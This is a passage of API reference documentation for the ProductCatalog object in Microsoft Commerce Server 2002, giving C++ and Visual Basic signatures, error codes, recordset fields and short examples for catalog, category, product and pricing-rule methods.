[C++] IProductCatalog3::GetCategory

[Visual Basic] ProductCatalog.GetCategory


IProductCatalog3::DeleteCustomCatalog Method [C++]

ProductCatalog.DeleteCustomCatalog Method [Visual Basic]

The DeleteCustomCatalog method is obsolete in Microsoft Commerce Server 2002. It will always return the following error:

Constant | Value | Description
E_CAT_CUSTOM_CC_NOT_SUPPORTED | [C++] 0x889800BD [Visual Basic] &H889800BD | This method is not supported.

Remarks

Custom catalogs have been replaced in Microsoft Commerce Server 2002 by virtual catalogs.

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::CreateCustomCatalog

[Visual Basic] ProductCatalog.CreateCustomCatalog

[C++] IProductCatalog3::GenerateCustomCatalog

[Visual Basic] ProductCatalog.GenerateCustomCatalog


IProductCatalog3::DeleteProduct Method [C++]

ProductCatalog.DeleteProduct Method [Visual Basic]

Use this method to delete a product from the Product Catalog System. This method cannot be used with a virtual catalog.

Definition

[C++]
HRESULT IProductCatalog3::DeleteProduct(
 VARIANT varProductID
);
[Visual Basic]
Sub DeleteProduct(
 varProductID As Variant
)

Parameters

varProductID [C++]
[in] A VARIANT that contains the unique identifier of the product to be deleted.
varProductID [Visual Basic]
A Variant that contains the unique identifier of the product to be deleted.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM error that this method can return.

Constant | Value | Description
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C++] 0x889800F9 [Visual Basic] &H889800F9 | Invalid catalog type. This API can only be called on a base catalog.
E_CAT_INVALIDVALUE_FOR_PRODUCTID | [C++] 0x8898004E [Visual Basic] &H8898004E | The value you specified for the ProductID is either out of range or does not satisfy the Min/Max condition.
E_CAT_INVALID_PRODUCTID | [C++] 0x8898005B [Visual Basic] &H8898005B | The value you specified for the ProductID is blank or else it exceeds the maximum allowed length of 256 characters.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_PRODUCT_DOESNT_EXIST | [C++] 0x8898001E [Visual Basic] &H8898001E | The product you specified doesn't exist.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method moves the product data from catalog tables to the deleted product table in the SQL Server database. The Product object caches information for improved performance. Because of this cache, the CatalogName and ProductID methods of the Product object will continue to return the old values after the DeleteProduct method has been called. The Variants, ParentCategories, AncestorCategories, RelatedCategories, and RelatedProducts properties will return an empty recordset and no error message.

Caution

  • Deleting a product with variants also deletes all of the variants.
[Visual Basic]

Example

myProductCatalog.DeleteProduct 654321

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::CreateProduct

[Visual Basic] ProductCatalog.CreateProduct

[C++] IProductCatalog3::GetProduct

[Visual Basic] ProductCatalog.GetProduct


IProductCatalog3::GenerateCustomCatalog Method [C++]

ProductCatalog.GenerateCustomCatalog Method [Visual Basic]

The GenerateCustomCatalog method is obsolete in Microsoft Commerce Server 2002. It will always return the following error:

Constant | Value | Description
E_CAT_CUSTOM_CC_NOT_SUPPORTED | [C++] 0x889800BD [Visual Basic] &H889800BD | This method is not supported.

Remarks

Custom catalogs have been replaced in Microsoft Commerce Server 2002 by virtual catalogs.

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::CreateCustomCatalog

[Visual Basic] ProductCatalog.CreateCustomCatalog

[C++] IProductCatalog3::DeleteCustomCatalog

[Visual Basic] ProductCatalog.DeleteCustomCatalog

[C++] IProductCatalog3::SetCategoryCustomPrice

[Visual Basic] ProductCatalog.SetCategoryCustomPrice


IProductCatalog3::GetCatalogAttributes Method [C++]

ProductCatalog.GetCatalogAttributes Method [Visual Basic]

Use this method to retrieve the attributes of this catalog. The returned recordset is disconnected and updateable.

Definition

[C++]
HRESULT IProductCatalog3::GetCatalogAttributes(
 _Recordset** ppRSCatalogAttributes
);
[Visual Basic]
Function GetCatalogAttributes() As _Recordset

Parameters

ppRSCatalogAttributes [C++]
[out, retval] A pointer to a Recordset used to return the attributes of this catalog.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a recordset that contains the attributes of this catalog.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++] The following table shows the custom COM error that this method can return.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid.

Remarks

[C++] The ppRSCatalogAttributes parameter contains valid data only if the method was accessed successfully.

The returned recordset is disconnected and updateable. The following table shows the fields that the returned recordset contains.

Field | Data Type | Description
CatalogName | String 128 characters | The name of the catalog.
Locale | Integer | None
StartDate | Datetime | None
End Date | Datetime | None
VariantID | String 128 characters | The field name that uniquely identifies variants.
ProductID | String 128 characters | The field name that uniquely identifies products.
Currency | String 128 characters | None
WeightMeasure | String 128 characters | None
TimeStamp | timestamp | None
CatalogID | Integer | None
CustomCatalog | Bit | AReserved for future use.
FreeTextIndexCreated | DateTime | None
ProductTableUpdated | DateTime | None
FullTextCatalog | String 128 characters | The SQL full-text catalog associated with this catalog.
DefaultLanguage | String 10 characters | The default language for this catalog.
ReportingLanguage | String 10 characters | The reporting language for this catalog.
IsVirtualCatalog | Boolean | A flag indicating whether this is a virtual catalog. True indicates a virtual catalog.
VirtualCatalogStatus | SmallInt | Reserved for future use.
<UserDefinedAttributes> |  |
DisplayName | String 128 characters | The DisplayName for the current language of this catalog.
DisplayName_<Language> | String 128 characters | One field for each language supported by this catalog.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

SET rsMyCatAttribs = myProductCatalog.GetCatalogAttributes

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::SetCatalogAttributes

[Visual Basic] ProductCatalog.SetCatalogAttributes


IProductCatalog3::GetCategory Method [C++]

ProductCatalog.GetCategory Method [Visual Basic]

Use this method to retrieve the specified category from a catalog.

Definition

[C++]
HRESULT IProductCatalog3::GetCategory(
 BSTR strCategoryName,
 ICategory3** ppCategory
);
[Visual Basic]
Function GetCategory(
 strCategoryName As String
) As Category

Parameters

strCategoryName [C++]
[in] A BSTR that contains the name of the category to be returned.
strCategoryName [Visual Basic]
A String that contains the name of the category to be returned.
ppCategory [C++]
[out, retval] A pointer to a Category object used to return the specified category.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns the Category object specified.

Error Values

[C++] This method returns S_OK (0x00000000) or S_FALSE (&H00000001) to indicate success and standard COM HRESULT error values, to indicate failure. This method may succeed and yet not return a valid output parameter. The output parameter(s) will be invalid if either and error value or S_FALSE is returned. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) or S_FALSE (&H00000001) to indicate success and to either standard or custom COM error values to indicate failure. This method may succeed and yet return a property or object that is Nothing due to a syntax error, such as requesting a property or object that does not exist. Test the return value for Nothing before relying on it. For more information about standard COM errors, see Standard COM Errors.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_POINTER | [C++] 0x80004003 [Visual Basic] &H80004003 | The pointer is invalid.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
S_FALSE | 1 | The category does not exist

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppCategory parameter contains valid data only if the method was accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

SET oMyCategory = myProductCatalog.GetCategory "Apparel"

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::CreateCategory

[Visual Basic] ProductCatalog.CreateCategory

[C++] IProductCatalog3::DeleteCategory

[Visual Basic] ProductCatalog.DeleteCategory


IProductCatalog3::GetCategoryCustomPrice Method [C++]

ProductCatalog.GetCategoryCustomPrice Method [Visual Basic]

The GetCategoryCustomPrice method is obsolete in Microsoft Commerce Server 2002. It will always return the following error:

Constant | Value | Description
E_CAT_CUSTOM_CC_NOT_SUPPORTED | [C++] 0x889800BD [Visual Basic] &H889800BD | This method is not supported.

Remarks

Custom catalogs have been replaced in Microsoft Commerce Server 2002 by virtual catalogs.

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::SetCategoryCustomPrice

[Visual Basic] ProductCatalog.SetCategoryCustomPrice


IProductCatalog3::GetCustomCatalogAttributes Method [C++]

ProductCatalog.GetCustomCatalogAttributes Method [Visual Basic]

The GetCustomCatalogAttributes method is obsolete in Microsoft Commerce Server 2002. It will always return the following error:

Constant | Value | Description
E_CAT_CUSTOM_CC_NOT_SUPPORTED | [C++] 0x889800BD [Visual Basic] &H889800BD | This method is not supported.

Remarks

Custom catalogs have been replaced in Microsoft Commerce Server 2002 by virtual catalogs.

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::CreateCustomCatalog

[Visual Basic] ProductCatalog.CreateCustomCatalog

[C++] IProductCatalog3::SetCustomCatalogAttributes

[Visual Basic] ProductCatalog.SetCustomCatalogAttributes


IProductCatalog3::GetDependentCatalogs Method [C++]

ProductCatalog.GetDependentCatalogs Method [Visual Basic]

Use this method to return a recordset with a single field containing all of the virtual catalogs that are dependant on this catalog. This method cannot be called on a virtual catalog.

Definition

[C++]
HRESULT IProductCatalog3::GetDependentCatalogs(
  VARIANT lStartingRecord,
  VARIANT lRecordsToRetrieve,
  VARIANT* plTotalRecordsInQuery,
  _Recordset** ppRSDependentCatalogs
);
[Visual Basic]
Function GetDependentCatalogs(
  Optional lStartingRecord As Variant,
  Optional lRecordsToRetrieve As Variant,
  Optional plTotalRecordsInQuery As Variant
) As _Recordset

Parameters

lStartingRecord [C++]
[in, optional] A VARIANT that contains the starting record number. A value of one (1) indicates the first record. If the starting record number is not specified, then this method starts with record one (1).
lStartingRecord [Visual Basic]
A Variant that contains the starting record number. A value of one (1) indicates the first record. If the starting record number is not specified, then this method starts with record one (1).
lRecordsToRetrieve [C++]
[in, optional] A VARIANT that contains the number of records to retrieve.
lRecordsToRetrieve [Visual Basic]
A Variant that contains the number of records to retrieve.
plTotalRecordsInQuery [C++]
[in, out, optional] A pointer to a VARIANT that, if supplied, contains on output the total number of records.
plTotalRecordsInQuery [Visual Basic]
A Variant that, if supplied, contains on output the total number of records.
ppRSDependentCatalogs [C++]
[out, retval] A pointer to hold the reference to the returned Recordset object, which will contain the dependent catalogs.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object that contains the dependent catalogs.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM error that this method can return.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C++] 0x889800F9 [Visual Basic] &H889800F9 | Invalid catalog type. This API can only be called on a base catalog.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppRSDependentCatalogs parameter contains valid data only if the method was accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

x = myProductCatalog.GetDependentCatalogs(lStartingRecord, lRecordsToRetrieve, plTotalRecordsInQuery)

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object


IProductCatalog3::GetLanguages Method [C++]

ProductCatalog.GetLanguages Method [Visual Basic]

Use this method to return a recordset with a single field containing all of the supported languages.

Definition

[C++]
HRESULT IProductCatalog3::GetLanguages(
  _Recordset** ppRSLanguages
);
[Visual Basic]
Function GetLanguages() As _Recordset

Parameters

ppRSLanguages [C++]
[out, retval] A pointer to hold the reference to the returned Recordset object, which will contain the supported languages.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object that contains the supported languages.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid

Remarks

[C++] The ppRSLanguages parameter contains valid data only if the method was accessed successfully.

The following table shows the fields that the returned recordset contains.

Field Data Type Description
Language String
10 characters
A String that contains the culture name. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

Set rsLanguages = myProductCatalog.GetLanguages

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object


IProductCatalog3::GetPriceRules Method [C++]

ProductCatalog.GetPriceRules Method [Visual Basic]

Use this method to return a recordset containing the specified price rules. This method cannot be used with a base catalog.

Definition

[C++]
HRESULT IProductCatalog3::GetPriceRules(
  VARIANT lStartingRecord,
  VARIANT lRecordsToRetrieve,
  VARIANT strPropertyToSortOn,
  VARIANT_BOOL fSortAscending,
  VARIANT* plTotalRecordsInQuery,
  _Recordset** ppRSProductPricingRules
);
[Visual Basic]
Function GetPriceRules(
  Optional lStartingRecord As Variant,
  Optional lRecordsToRetrieve As Variant,
  Optional strPropertyToSortOn As Variant,
  Optional fSortAscending As Boolean,
  Optional plTotalRecordsInQuery As Variant
) As _Recordset

Parameters

lStartingRecord [C++]
[in, optional] A VARIANT that contains the starting record number. A value of one (1) indicates the first record. If the starting record number is not specified, then this method starts with record one (1).
lStartingRecord [Visual Basic]
A Variant that contains the starting record number. A value of one (1) indicates the first record. If the starting record number is not specified, then this method starts with record one (1).
lRecordsToRetrieve [C++]
[in, optional] A VARIANT that contains the number of records to retrieve.
lRecordsToRetrieve [Visual Basic]
A Variant that contains the number of records to retrieve.
strPropertyToSortOn [C++]
[in, optional] A VARIANT that contains the property on which to sort. This must be a property in the returned recordset. If not included, the returned recordset will be unsorted.
strPropertyToSortOn [Visual Basic]
A Variant that contains the property on which to sort. This must be a property in the returned recordset. If not included, the returned recordset will be unsorted.
fSortAscending [C++]
[in, optional, defaultvalue (-1)] A VARIANT_BOOL that specifies whether to sort in ascending or descending order. A value of True (-1) indicates to sort in ascending order. A value of False (0) indicates to sort in descending order.
fSortAscending [Visual Basic]
A Boolean that specifies whether to sort in ascending or descending order. A value of True (-1) indicates to sort in ascending order. A value of False (0) indicates to sort in descending order. The default value is True.
plTotalRecordsInQuery [C++]
[in, out, optional] A pointer to a VARIANT that, if supplied, contains on output the total number of records.
plTotalRecordsInQuery [Visual Basic]
A Variant that, if supplied, contains on output the total number of records.
ppRSProductPricingRules [C++]
[out, retval] A pointer to hold the reference to the returned Recordset object, which will contain the product pricing rules.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object that contains the pricing rules.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM error that this method can return.

Constant | Value | Description
E_CAT_VC_NOT_A_VIRTUAL_CATALOG | [C++] 0x889800FA [Visual Basic] &H889800FA | Invalid catalog type. This API can only be called on a virtual catalog.
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid
E_CAT_INVALID_SORT_PROPS | [C++] 0x8898011E [Visual Basic] &H8898011E | The properties to sort that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppRSProductPricingRules parameter contains valid data only if the method was accessed successfully.

The returned recordset is disconnected and updateable. The following table shows the fields that the returned recordset contains.

Field | Data Type | Description
AdjustmentType | CatalogCustomPriceEnum enumeration | The type of the pricing rule.
Amount | Integer | None
CategoryName | String 85 characters | None
ProductID | String 256 characters | The field name that uniquely identifies products.
VariantID | String 256 characters | The field name that uniquely identifies variants.

The following table shows the values of the CatalogCustomPriceEnum enumeration, their associated names, and describes their use.

Name | Value | Description
cscNoCustomPrice | 0 | The custom price is the same as the base price.
cscPercentageMultiplier | 1 | The custom price = basePrice + (basePrice * pfpCustomPriceAmount /100).
cscAddFixedAmount | 2 | The custom price is the value in the parameter pfpCustomPriceAmount added to the base price.
cscReplacePrice | 3 | The custom price is the value in the parameter pfpCustomPriceAmount.
cscInvalidCustomPrice | -1 | Reserved for future use.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'plTotalRecordsInQuery is a LONG.
'Examine it after the method returns to see if
'there are more records to get.
Set rsPriceRules = myProductCatalog.GetPriceRules(1, 25, strPropertyToSortOn, True, plTotalRecordsInQuery)

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object


IProductCatalog3::GetProduct Method [C++]

ProductCatalog.GetProduct Method [Visual Basic]

Use this method to retrieve the specified product from a catalog.

Definition

[C++]
HRESULT IProductCatalog3::GetProduct(
 VARIANT varProductID,
 IProduct3** ppProduct
);
[Visual Basic]
Function GetProduct(
 varProductID As Variant
) As Product

Parameters

varProductID [C++]
[in] A VARIANT that contains the unique identifier of the product.
varProductID [Visual Basic]
A Variant that contains the unique identifier of the product.
ppProduct [C++]
[out, retval] A pointer to a Product object used to return the specified product.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns the product specified.

Error Values

[C++] This method returns S_OK (0x00000000) or S_FALSE (&H00000001) to indicate success and standard COM HRESULT error values, to indicate failure. This method may succeed and yet not return a valid output parameter. The output parameter(s) will be invalid if either and error value or S_FALSE is returned. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) or S_FALSE (&H00000001) to indicate success and to either standard or custom COM error values to indicate failure. This method may succeed and yet return a property or object that is Nothing due to a syntax error, such as requesting a property or object that does not exist. Test the return value for Nothing before relying on it. For more information about standard COM errors, see Standard COM Errors.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_POINTER | [C++] 0x80004003 [Visual Basic] &H80004003 | The pointer is invalid..
E_CAT_INVALID_PRODUCTID | [C++] 0x8898005B [Visual Basic] &H8898005B | The value you specified for the ProductID is blank or else it exceeds the maximum allowed length of 256 characters.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
S_FALSE | 1 | The product does not exist.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppProduct parameter contains valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

SET oMyProduct = myProductCatalog.GetProduct("SKU4005")
' for virtual catalogs
SET oMyProduct = myVirtualCatalog.GetProduct "SKU001(MyBaseCatalog)"

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::CreateProduct

[Visual Basic] ProductCatalog.CreateProduct

[C++] IProductCatalog3::DeleteProduct

[Visual Basic] ProductCatalog.DeleteProduct


IProductCatalog3::GetProductVariant Method [C++]

ProductCatalog.GetProductVariant Method [Visual Basic]

Use this method to retrieve the properties of a specified product variant.

Definition

[C++]
HRESULT IProductCatalog3::GetProductVariant(
 VARIANT varProductID,
 VARIANT varVariantID,
 _Recordset** ppRSVariant
);
[Visual Basic]
Function GetProductVariant(
 varProductID As Variant,
 varVariantID As Variant
) As _Recordset

Parameters

varProductID [C++]
[in] A VARIANT that contains the unique identifier of the product family.
varProductID [Visual Basic]
A Variant that contains the unique identifier of the product family.
varVariantID [C++]
[in] A VARIANT that contains the unique identifier of the product variant.
varVariantID [Visual Basic]
A Variant that contains the unique identifier of the product variant.
ppRSVariant [C++]
[out, retval] A pointer to hold the reference to the returned Recordset object, which will contain the properties of the variant.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a recordset that contains the properties of the specified variant.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid
E_CAT_CATALOG_DOESNT_SUPPORT_VARIANTS | [C++] 0x88980032 [Visual Basic] &H88980032 | This catalog does not support variants. In order to support variants the catalog has to be created with the variant identifier.
E_CAT_INVALID_PRODUCTID | [C++] 0x8898005B [Visual Basic] &H8898005B | The value you specified for the ProductID is blank or else it exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_PRODUCTID | [C++] 0x8898004E [Visual Basic] &H8898004E | The value you specified for the ProductID is either out of range or does not satisfy the Min/Max condition.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_VARIANTID | [C++] 0x8898005C [Visual Basic] &H8898005C | The value you specified for the VariantID exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_VARIANTID | [C++] 0x8898004D [Visual Basic] &H8898004D | The value you specified for the VariantID is either out of range or does not satisfy the Min/Max condition.
E_CAT_BLANK_VARIANT | [C++] 0x8898004F [Visual Basic] &H8898004F | You have specified a blank value for the VariantID. A variant cannot be created with a blank value.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppRSVariant parameter contains valid data only if the method was accessed successfully.

A single row recordset with all the properties of the variant is returned. The fields of the returned recordset are determined by the properties associated with the definition on which it is based. Both the product properties and the variant properties are returned.

The returned recordset is disconnected and updateable. The following table shows the fields that the returned recordset contains.

Field | Data Type | Description
oid | int | Internal identifier
Cy_list_price | money | List price of the variant
TimeStamp | timestamp | None
ProductID | String 128 characters | The field name that uniquely identifies products.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

SET rsVariantProps = myProductCatalog.GetProductVariant("SKU4007", "Blue")

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::get_IdentifyingVariantProperty

[Visual Basic] ProductCatalog.IdentifyingVariantProperty


IProductCatalog3::GetSpecificationSearchClauses Method [C++]

ProductCatalog.GetSpecificationSearchClauses Method [Visual Basic]

Use this method to retrieve the specified specification search constraints.

Definition

[C++]
HRESULT IProductCatalog3::GetSpecificationSearchClauses(
 BSTR strSearchHandle,
 _Recordset** ppRSSearchClauses
);
[Visual Basic]
Function GetSpecificationSearchClauses(
 strSearchHandle As String
) As _Recordset

Parameters

strSearchHandle [C++]
[in] A BSTR that contains the specification search handle.
strSearchHandle [Visual Basic]
A String that contains the specification search handle.
ppRSSearchClauses [C++]
[out, retval] A pointer to a Recordset object used to return the search clauses.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a recordset that contains the specification search clauses.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_SPECSEARCH_HANDLE | [C++] 0x8898010D [Visual Basic] &H8898010D | The search handle that you specified is invalid. The search handle should be of the form [CatalogName][CategoryName] AND (Search Clause1) AND (SearchClause2) ....

Remarks

[C++] The ppRSSearchClauses parameter contains valid data only if the method completed successfully.

The returned recordset contains a single variable-length String field, called Clause, and one row for each constraint present.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'strSearchHandle contains a search handle returned
'from AddSpecificationSearchClause or BeginSpecificationSearch
SET rsMySearchClauses = myProductCatalog.GetSpecificationSearchClauses(strSearchHandle)

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::AddSpecificationSearchClause

[Visual Basic] ProductCatalog.AddSpecificationSearchClause

[C++] IProductCatalog3::RemoveSpecificationSearchClause

[Visual Basic] ProductCatalog.RemoveSpecificationSearchClause


IProductCatalog3::GetVirtualCatalogRules Method [C++]

ProductCatalog.GetVirtualCatalogRules Method [Visual Basic]

Use this method to return a recordset containing the specified virtual catalog rules.

Definition

[C++]
HRESULT IProductCatalog3::GetVirtualCatalogRules(
  VARIANT lStartingRecord,
  VARIANT lRecordsToRetrieve,
  VARIANT strPropertyToSortOn,
  VARIANT_BOOL fSortAscending,
  VARIANT* plTotalRecordsInQuery,
  _Recordset** ppRSProductRules
);
[Visual Basic]
Function GetVirtualCatalogRules(
  Optional lStartingRecord As Variant,
  Optional lRecordsToRetrieve As Variant,
  Optional strPropertyToSortOn As Variant,
  Optional fSortAscending As Boolean,
  Optional plTotalRecordsInQuery As Variant
) As _Recordset

Parameters

lStartingRecord [C++]
[in, optional] A VARIANT that contains the starting record number. A value of one (1) indicates the first record. If the starting record number is not specified, then this method starts with record one (1).
lStartingRecord [Visual Basic]
A Variant that contains the starting record number. A value of one (1) indicates the first record. If the starting record number is not specified, then this method starts with record one (1).
lRecordsToRetrieve [C++]
[in, optional] A VARIANT that contains the number of records to retrieve.
lRecordsToRetrieve [Visual Basic]
A Variant that contains the number of records to retrieve.
strPropertyToSortOn [C++]
[in, optional] A VARIANT that contains the property on which to sort. This must be a property in the returned recordset.
strPropertyToSortOn [Visual Basic]
